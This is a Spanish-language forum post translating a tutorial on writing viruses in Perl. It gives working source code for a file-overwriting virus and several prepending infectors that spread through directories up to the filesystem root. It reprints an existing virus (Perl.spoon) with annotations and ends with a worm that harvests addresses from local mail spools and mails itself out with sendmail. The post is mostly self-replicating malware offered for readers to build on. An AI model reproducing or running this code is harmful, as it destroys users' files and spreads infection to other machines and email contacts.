send
Grupo de Telegram
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Tutorial - Perl virus

  • 0 Respuestas
  • 1055 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado @ed33x

  • *
  • Underc0der
  • Mensajes: 107
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« en: Enero 27, 2011, 08:49:24 pm »
Autor: SnakeByte
Traducido: AspriX

Debido a que he tenido que aprender Perl para un trabajo, decidi escribir un virus en este lenguaje. Hasta esta maiƒÂ±ana no he encontrado un virus hecho en perl en la web, asique decidi escribir este pequeiƒÂ±o tutorial sobre virus en Perl. Este tuto tiene la misma estructura que mi tutorial sobre Virus Script en Linux y estoy seguro que los newbies en perl (como yo) lo entenderan. Por el momento no he mirado el virus que encontre, porque quiero tratar de escribir uno propio.
(recien termine un overwritter totalmente lamer, pero decidi empezar escribiendo esto, porque quiero que el lector siga mis pasos).
Todo el codigo que veran aqui esta testeado en un Linux SuSe 7.0 con Perl 5.0005_3 y funciono bien. Voy a tratar de hacerlo compatible con otros S.O. pero no puedo garantizarlo.
Bueno, vamos a empezar con el overwritter del que les hable. Primero el codigo y despues la explicacion de lo que hace:

Código: Perl
  1. #!/usr/bin/perl
  2.  
  3.  You are not allowed to view links. Register or Login(File,$0);
  4.  @Virus=<File>;
  5.  You are not allowed to view links. Register or Login(File);
  6.  
  7.  foreach $FileName (<*>)
  8.  {
  9.   You are not allowed to view links. Register or Login(File, ">$FileName");
  10.   You are not allowed to view links. Register or Login File @Virus;
  11.   You are not allowed to view links. Register or Login (File);
  12.  }

La primer linea es un comentario (marcado con #). Es casi un estandar que todos los archivos de perl tengan la ruta del interprete en la primera linea.
En la segunda linea nos abrimos a nosotros mismos. El nombre del archivo del script que esta corriendo se guarda en $0. En la tercera linea pasamos el contenido de nuestro archivo al array @Virus. Ahora, todos los valores del array (@Virus[1],@Virus[2],...) contienen una linea de nuestro archivo. Ya que esto es todo lo que queremos hacer con nuestro archivo lo cerramos.
Entonces usamos un loop para buscar archivos. Con el loop pasamos por todos los archivos del directorio actual (<*>) y copiamos su nombre en $FileName. Abrimos el archivo para escritura (mostrado como > delante del nombre del archivo) y simplemente escribimos nuestro virus sobre el archivo (si quisieramos aiƒÂ±adirnos en vez de sobreescribirnos usariamos >>nombre_del_archivo). Bueno, el archivo fue reemplazado por el virus, asique agarremos al siguiente y hagamos lo mismo...
Pienso que este pedacito de codigo esta bastante claro ahora.
Hagamoslo un poco mejor, asi no sobreescribiremos todos los archivos, solo los de perl.

Código: Perl
  1. #!/usr/bin/perl
  2.  You are not allowed to view links. Register or Login(File,$0);
  3.  @Virus=<File>;
  4.  You are not allowed to view links. Register or Login(File);
  5.  
  6.  foreach $FileName (<*>)
  7.  {
  8.   if ((-r $FileName) && (-w $FileName) && (-f $FileName))
  9.   {
  10.    You are not allowed to view links. Register or Login(File, "$FileName");
  11.    @Temp=<File>;
  12.    You are not allowed to view links. Register or Login(File);
  13.    if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl"))
  14.    {
  15.     You are not allowed to view links. Register or Login(File, ">$FileName");
  16.     You are not allowed to view links. Register or Login File @Virus;
  17.     You are not allowed to view links. Register or Login (File);
  18.    }
  19.   }
  20.  }

Las primeras lineas las vimos en el anterior ejemplo. Despues sigue un If enorme, veamos lo que hace.
Este filtra todos los archivos que somos capaces de leer (-r), de escribir (-w) y los que son archivos en si y no directorios (-f).
Cada una de estas condiciones debe cumplirse, ya que las juntamos con && que es un AND logico. Entonces abrimos el archivo para leer (como ves, no hay > adelante del nombre).
Copiamos el archivo entero en $Temp y lo cerramos. Entonces buscamos en la primer y segunda linea (@Temp[0] y @Temp[1]) por la palabra "perl" (Las mayusculas/minusculas no se ignoran, pero hasta ahora no encontre metodos de comparacion de strings que ignoren mayusculas/minusculas, pero seguire buscando), para ver si tenemos un archivo perl.  /*Nota del traductor: La frase del parentesis no la entendi muy bien, pero despues de pensar un rato estoy casi seguro que quiere decir eso ^^ */
El resto es como en el ejemplo anterior. Hay 2 cosas que podriamos agregar para buscar los archivos. La primera es ver si son ejecutables (if(-x $FileName)), pero como creo que no podemos chequear esto en Windows, y hay gente como yo que corren sus archivos perl con el interprete y no setean el flag 'ejecutable', no lo hare. La otra cosa que podriamos hacer es ver con el comando 'file' de Linux si el archivo es un script perl. Pero esto tampoco funcionara en Windows, asique no lo hare.
Bueno, creo que ya entendimos las bases. Ahora olvidemosnos de esta mierda de overwritting y empezemos a hacer algo mas serio: prepending (aiƒÂ±adidura?) /*Nota del autor: prepending=aiƒÂ±adidura? Es aiƒÂ±adir al principio, pero no supe si traducirlo asi o no*/

Código: Perl
  1. #!/usr/bin/perl
  2.  #PerlDemo                   # NUEVO
  3.  
  4.  You are not allowed to view links. Register or Login(File,$0);
  5.  @Virus=<File>;
  6.  @Virus=@Virus[0...27];      # NUEVO
  7.  You are not allowed to view links. Register or Login(File);
  8.  
  9.  foreach $FileName (<*>)
  10.  {
  11.   if ((-r $FileName) && (-w $FileName) && (-f $FileName))
  12.   {
  13.    You are not allowed to view links. Register or Login(File, "$FileName");
  14.    @Temp=<File>;
  15.    You are not allowed to view links. Register or Login(File);
  16.    if ((@Temp[1] =~ "PerlDemo") or (@Temp[2] =~ "PerlDemo"))  # NUEVO
  17.    {
  18.     if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl"))
  19.     {
  20.      You are not allowed to view links. Register or Login(File, ">$FileName");
  21.      You are not allowed to view links. Register or Login File @Virus;
  22.      You are not allowed to view links. Register or Login File @Temp;         # NUEVO
  23.      You are not allowed to view links. Register or Login (File);
  24.     }
  25.    }
  26.   }
  27.  }

Esta vez he marcado las lineas nuevas, porque no cambio mucho. El primer cambio es que obtenemos solo las primeras 24 lineas del archivo que esta corriendo (el infectado). Esto es porque tambien aiƒÂ±adiremos el archivo original al que infectamos. El segundo cambio es que agregamos el archivo original al virus mientras infectamos. Entonces el nuevo archivo iniciara con el virus, despues una linea vacia y despues el archivo vieja, que empieza con #!/usr/bin/perl o lo que sea ;-)
Buscar "PerlDemo" sirve para ver si el archivo ya ha sido infectado por nosotros.
Normalmente empezaria a ver como se puede optimizar, pero aqui no podemos hacer mucho, juntar las lineas es lo unico que se me ocurre:

Código: Perl
  1. #!/usr/bin/perl #PerlDemo
  2.  You are not allowed to view links. Register or Login(File,$0); @Virus=<File>; @Virus=@Virus[0...6]; You are not allowed to view links. Register or Login(File);
  3.  foreach $FileName (<*>) { if ((-r $FileName) && (-w $FileName) && (-f $FileName)) {
  4.  You are not allowed to view links. Register or Login(File, "$FileName"); @Temp=<File>; You are not allowed to view links. Register or Login(File); if ((@Temp[1] =~ "PerlDemo") or (@Temp[2] =~ "PerlDemo"))
  5.  { if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) { You are not allowed to view links. Register or Login(File, ">$FileName"); You are not allowed to view links. Register or Login File @Virus;
  6.  You are not allowed to view links. Register or Login File @Temp; You are not allowed to view links. Register or Login (File); } } } }

Esto nos salva de unos saltos de linea solamente y no esta tan bueno =P
Agreguemos algunas cosas que esten buenas para el virus, como viajar entre directorios. Primero lo haremos hacia abajo, echemos un vistazo:

Código: Perl
  1. #!/usr/bin/perl
  2.  #Perl Virus - Downward Travelling
  3.  You are not allowed to view links. Register or Login(File,$0);
  4.  @Virus=<File>;
  5.  @Virus=@Virus[0...24];
  6.  You are not allowed to view links. Register or Login(File);
  7.  
  8.  &InfectFile;                # NUEVO
  9.  You are not allowed to view links. Register or Login('..');                # NUEVO
  10.  &InfectFile;                # NUEVO
  11.  
  12.  sub InfectFile {            # NUEVO
  13.   foreach $FileName (<*>) {
  14.    if ((-r $FileName) && (-w $FileName) && (-f $FileName)) {
  15.     You are not allowed to view links. Register or Login(File, "$FileName");
  16.     @Temp=<File>;
  17.     You are not allowed to view links. Register or Login(File);
  18.     if ((@Temp[1] =~ "Virus") or (@Temp[2] =~ "Virus")) {
  19.      if ((@Temp[0] =~ "perl",,i) or (@Temp[1] =~ "perl",,i)) {   # NUEVO
  20.       You are not allowed to view links. Register or Login(File, ">$FileName");
  21.       You are not allowed to view links. Register or Login File @Virus;
  22.       You are not allowed to view links. Register or Login File @Temp;
  23.       You are not allowed to view links. Register or Login (File);
  24.  }}}}}

Que hemos hecho? El primer cambio que vemos es que colocamos las
rutinas de busqueda de archivos y de infeccion en un sub, que llamamos
2 veces desde el main.
Otro cambio es chdir('..') que nos coloca un
directorio mas abajo. Esto tendria que funcionar bien en sistemas
Unix/Linux/DOS/Windows, pero no en MacOS, porque este usa '::'. Triste
pero verdadero, perl no es tan portable como quisieramos =P
Otro
cambio esta dentro de la busqueda de archivos (@Temp[1]= ~ "perl",,i).
,,i significa que buscaremos la cadena perl ignorando mayusculas y
minusculas, asique tambien encontraremos archivos perl que empiezen con
#C:\Programme\Perl\Perl.exe. El, llamemosle bug, de este virus es que
no podremos vovler al directorio anterior. Este es otro problema
causado por la incompatibilidad entre los diferentes sistemas
operativos. En Unix/Linux podemos conseguir el directorio actual
haciendo $CurPath=`pwd`, pero esto no funcionaria en Windows o MacOS.
Afortunadamente podemos saber en que SO estamos corriendo con la
variable $^0, que existe desde Perl 5.0002. El codigo que sigue nos
dira si estamos corriendo en una maquina con DOS, Windows, Linux, BSD o
Solaris.

Código: Perl
  1. #!/usr/bin/perl
  2.  #Perl Virus - Downward Travelling
  3.  You are not allowed to view links. Register or Login(File,$0);
  4.  @Virus=<File>;
  5.  @Virus=@Virus[0...30];
  6.  You are not allowed to view links. Register or Login(File);
  7.  
  8.  &InfectFile;
  9.  if (($^O =~ "bsd") or ($^O =~ "linux") or ($^O =~ "solaris")) { $OldDir = `pwd` }       # NUEVO
  10.  if (($^O =~ "dos") or ($^O =~ "MSWin32")) { $OldDir = `cd` }                            # NUEVO
  11.  $DotDot = '..';                                                                         # NUEVO
  12.  if ($^O =~ "MacOS") { $DotDot = "::" }                                                  # NUEVO
  13.  You are not allowed to view links. Register or Login($DotDot);                                                                         # NUEVO
  14.  &InfectFile;
  15.  You are not allowed to view links. Register or Login($OldDir);                                                                         # NUEVO
  16.  
  17.  sub InfectFile {
  18.   foreach $FileName (<*>) {
  19.    if ((-r $FileName) && (-w $FileName) && (-f $FileName)) {
  20.     You are not allowed to view links. Register or Login(File, "$FileName");
  21.     @Temp=<File>;
  22.     You are not allowed to view links. Register or Login(File);
  23.     if ((@Temp[1] =~ "Virus") or (@Temp[2] =~ "Virus")) {
  24.      if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) {
  25.       You are not allowed to view links. Register or Login(File, ">$FileName");
  26.       You are not allowed to view links. Register or Login File @Virus;
  27.       You are not allowed to view links. Register or Login File @Temp;
  28.       You are not allowed to view links. Register or Login (File);
  29.  }}}}}

Bien, si el sistema es BSD, Linux o Solaris, conseguimos el directorio actual con el comando pwd, que es un comando comunmente usado que devuelve la ruta actual. En Windows lo hacemos con cd, que se usa para cambiar de directorio pero tambien sirve para conseguir la ruta actual. Entonces ponemos los dos puntos '..' como se usan en cualquier SO, expto MacOS, asique ponemos '::' si estamos corriendo en una Mac. Tal vez seria mejor hacer 2 chequeos, uno para Mac y usar los dos puntos, uno para DOS, Windows y OS/2 para usar cd para obtener la ruta, y para todo lo demas usamos pwd para obtener la ruta, ya que hay muchas versiones de BSD y Unix en las que se soporta perl y en todas funciona el comando pwd.
Si quisieramos viajar hacia arriba tenemos el mismo problema: diferentes sistemas operativos=diferentes formas de expresar su directorio raiz. Linux tiene uno solo, /, Windows y DOS tienen uno para cada disco, A:, C:, D:, y por lo que se Mac no tiene ninguno. Con el siguiente code tratare te manejar esto problemas:

Código: Perl
  1. #!/usr/bin/perl
  2.   # Perl - Get'em'all Virus
  3.  You are not allowed to view links. Register or Login(File,$0);
  4.  @Virus=<File>;
  5.  @Virus=@Virus[0...46];
  6.  You are not allowed to view links. Register or Login(File);
  7.  
  8.  &InfectFile;
  9.  if ($^0 =~ "MacOS") {
  10.   You are not allowed to view links. Register or Login('::');
  11.   &InfectFile; }
  12.  else { if (($^O =~ "dos") or ($^O =~ "MSWin32")) {
  13.   $OldDir = `cd`;
  14.   You are not allowed to view links. Register or Login('..');
  15.   &InfectFile;
  16.   You are not allowed to view links. Register or Login('C:\');
  17.  &SearchUpperDirectorys;
  18.  chdir($OldDir);}
  19. else {
  20.  $OldDir = `pwd`;
  21.  chdir("/");
  22.  &SearchUpperDirectorys;
  23.  chdir($OldDir);}}
  24.  
  25. sub InfectFile {
  26.  foreach $FileName (<*>) {
  27.   if ((-r $FileName) && (-w $FileName) && (-f $FileName)) {
  28.    open(File, "$FileName");
  29.    @Temp=<File>;
  30.    close(File);
  31.    if ((@Temp[1] =~ "Virus") or (@Temp[2] =~ "Virus")) {
  32.     if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) {
  33.      open(File, ">$FileName");
  34.      print File @Virus;
  35.      print File @Temp;
  36.      close (File);
  37. }}}}}
  38.  
  39. sub SearchUpperDirectorys {
  40.  foreach $Directory (<*>) {
  41.   if ((-r $Directory) && (-w &Directory ) && (-d $Directory) {
  42.    chdir ($Directory);
  43.    &InfectFile;
  44.    chdir ('..')
  45. }}}

Bien, si estamos en MacOS hemos infectado el directorio mas bajo. Si estamos en DOS o Windows infectamos la carpeta mas abajo y empezamos a buscar por otras en C:\. Despues de eso volvemos al directorio antiguo. En todos los demas sistemas buscamos el raiz de estos. Despues volvemos al directorio original.
Wow, primero que nada quiero empezar a analizar sintacticamente las variables Path que contienen todos los directorios que seran buscados cuando quieran correr un ejecutable, pero con todos estos problemas de incopatibilidad...mejor mas tarde.
Ahora quiero ver el virus del que hable antes, el que encontre en internet. El AV detecta esta cosa como Perl.spoon, y fue creada por PaddingX. Espero que este bien para el que muestre el codigo, pero no se como contactarlo. Asique si esta leyendo esto y queres que lo saque avisame! /*Nota del traductor: Realmente al pedo traducir esto, pero bueh, asi esta todo completito =P */
AiƒÂ±adi algunos comentarios para que se entienda el codigo, estos estan marcados con una S

Código: Perl
  1. #!/usr/bin/perl
  2.  use File::Find;             #S El usa un modulo para encontrar archivos, esta incluido en todas las instalaciones de perl
  3.  &virus();                   #S llamada de la sub Virus
  4.                              #S despues de que se ejecute la sub virus vemos un pequeiƒÂ±o payload
  5.  You are not allowed to view links. Register or Login "
  6. This program is infected by the Perl virus
  7. ";
  8.  
  9.  sub virus                   #S empieza la parte del virus
  10.    {
  11.      my ( $pid, $new );      #S define variables locales
  12.      if( $pid = You are not allowed to view links. Register or Login ) { You are not allowed to view links. Register or Login; }
  13.      else
  14.        {
  15.          You are not allowed to view links. Register or Login( source, $0 );        #S abre el virus
  16.          finddepth ( \&infect, '/home/chris/test' );    #S '/home/chris/test' es donde los archivos deberian estar infectados
  17.          sub infect
  18.              {
  19.              You are not allowed to view links. Register or Login target, "$File::Find::name";          #S abrir el archivo que queremos infectar
  20.              $_ = <target>;                             #S leerlo en una string
  21.              if ( /(\#!.*perl)/ )                       #S ver si tenemos #! xxxx perl en la primera linea --> chequear si es un archivo perl
  22.              {
  23.                  $_ = <target>;                         #S leer la segunda linea
  24.                  if( $_ ne "use File::Find;
  25. " )        #S si es use File::Find (usa ese modulo) no sera infectado --> marca de infeccion
  26.                    {
  27.                      $new = $1 . "
  28. use File::Find;
  29. &virus();
  30. " . $_;  #S Escribe las primeras 2 lineas del virus en $NEW
  31.                      while( <target> ) { $new = $new . $_; }    #S Escribe el archivo que infectamos en $NEW
  32.                      You are not allowed to view links. Register or Login(  source, 0, 0 );
  33.                       while( <source> ne "sub virus
  34. " ) { };   #S Lee el archivo hasta encontrar el virus
  35.                       $new = $new . "
  36. sub virus
  37. ";            #S escribe 'sub virus' en $NEW
  38.                       while( <source> ) { $new = $new . $_; }   #S aiƒÂ±ade el resto del virus a $NEW
  39.                       You are not allowed to view links. Register or Login  target;                        #S cierra el archivo que infectamos
  40.                       You are not allowed to view links. Register or Login   target, ">$File::Find::name";  #S lo abre devuelta para escritura
  41.                       You are not allowed to view links. Register or Login  target $new;                   #S escribe $NEW en el archivo
  42.                    }
  43.                }
  44.              You are not allowed to view links. Register or Login( target );    #S cierra el archivo infectado
  45.            }
  46.          You are not allowed to view links. Register or Login( source );        #S cierra el virus
  47.          You are not allowed to view links. Register or Login( 0 );              #S sale del programa
  48.        }
  49.   }
  50.  
  51.  # a Perl virus, by paddingx
  52.  # 08/15/1999


Bueno, como vemos el virus es de aiƒÂ±adidura. Escribe una llamada al virus al principio y aiƒÂ±ade el resto al archivo. Esto es como la vieja infeccion de aiƒÂ±adidura Com en DOS
El archivo infectado se vera asi:

[ Stub :
    #!/usr/bin/perl
    use File::Find;
    &virus();           ]
 [... Original File ... ]
 [ .. virus procedure ..]

Aun si solo corre en Unix es una linda pieza de codigo, porque pienso que es posible usar tecnicas EPO con este tipo de infeccion, buscando por un call (&Procedure) y cambiandolo por el virus y poner un call as procedure original al final del virus...
Bueno, ahora viene el ultimo pedazo de codigo, solamente para mostrar otra cosa simple que se puede hacer con perl, porque todo el mundo dice que Worms auto-enviables por mail es una cosa que solo se puede hacer con lenguajes script de windows.
Esto es un worm auto-enviable que usa sendmail y asume que los mails estan en /var/spool/mail/. Tal vez alguien, que sepa mas de linux que yo, puede intentar modificarlo para obtener la carpeta de mails de sendmail.cf

Código: Perl
  1. #!/usr/bin/perl
  2.  You are not allowed to view links. Register or Login(File,$0);
  3.  @Virus=<File>;
  4.  @Virus=@Virus[0...29];
  5.  You are not allowed to view links. Register or Login(File);
  6.  
  7.  foreach $FileName (</var/spool/mail/*>) {
  8.   if ((-r $FileName) && (-f $FileName)) {
  9.    You are not allowed to view links. Register or Login(File, "$FileName");
  10.    @test1=<File>;
  11.    You are not allowed to view links. Register or Login(File);
  12.    @ReceiverList = You are not allowed to view links. Register or Login /From:/, @test1;
  13.    foreach $Receiver2 (@ReceiverList){
  14.     @Receiver = You are not allowed to view links. Register or Login(/:/, $Receiver2);
  15.     @Addy = You are not allowed to view links. Register or Login(/</, @Receiver[1]);
  16.     You are not allowed to view links. Register or Login(File,">PerlWurm");
  17.     You are not allowed to view links. Register or Login File "Hi@Addy[0]
  18. ";
  19.     You are not allowed to view links. Register or Login File "take a look at this perl script
  20. and see what is possible to do
  21. in perl..
  22. ";
  23.     You are not allowed to view links. Register or Login File " cu soon
  24.  
  25. ";
  26.     You are not allowed to view links. Register or Login File @Virus;
  27.     You are not allowed to view links. Register or Login File ".
  28. ";
  29.     You are not allowed to view links. Register or Login(File);
  30.  
  31.     You are not allowed to view links. Register or Login(@Addy[1]);
  32.     You are not allowed to view links. Register or Login(@Addy[1]);
  33.     $x = `sendmail @Addy[1] < PerlWurm`;
  34.  }}}

« Última modificación: Marzo 14, 2015, 09:54:21 am por Expermicid »
Me cambie de messenger ahora es: edeex@live.comYou are not allowed to view links. Register or Login

 

¿Te gustó el post? COMPARTILO!



[Perl] Verificando si es root para correr un script

Iniciado por c1st

Respuestas: 1
Vistas: 1328
Último mensaje Octubre 07, 2012, 06:01:39 pm
por ANTRAX
[Uniscan] Scanner de vulnerabilidades WEB hecho en Perl

Iniciado por tar3kw0rm3d

Respuestas: 0
Vistas: 1475
Último mensaje Junio 02, 2013, 08:01:28 pm
por tar3kw0rm3d
[Perl] Counter Strike 1.6 Servers List

Iniciado por BigBear

Respuestas: 0
Vistas: 1015
Último mensaje Noviembre 12, 2012, 07:32:11 pm
por BigBear
[Perl] Iframe DDos Attack Tool

Iniciado por BigBear

Respuestas: 0
Vistas: 1182
Último mensaje Julio 03, 2011, 10:06:45 pm
por BigBear
[Perl] Search in google for scan SQLI

Iniciado por BigBear

Respuestas: 0
Vistas: 1080
Último mensaje Julio 03, 2011, 09:49:49 pm
por BigBear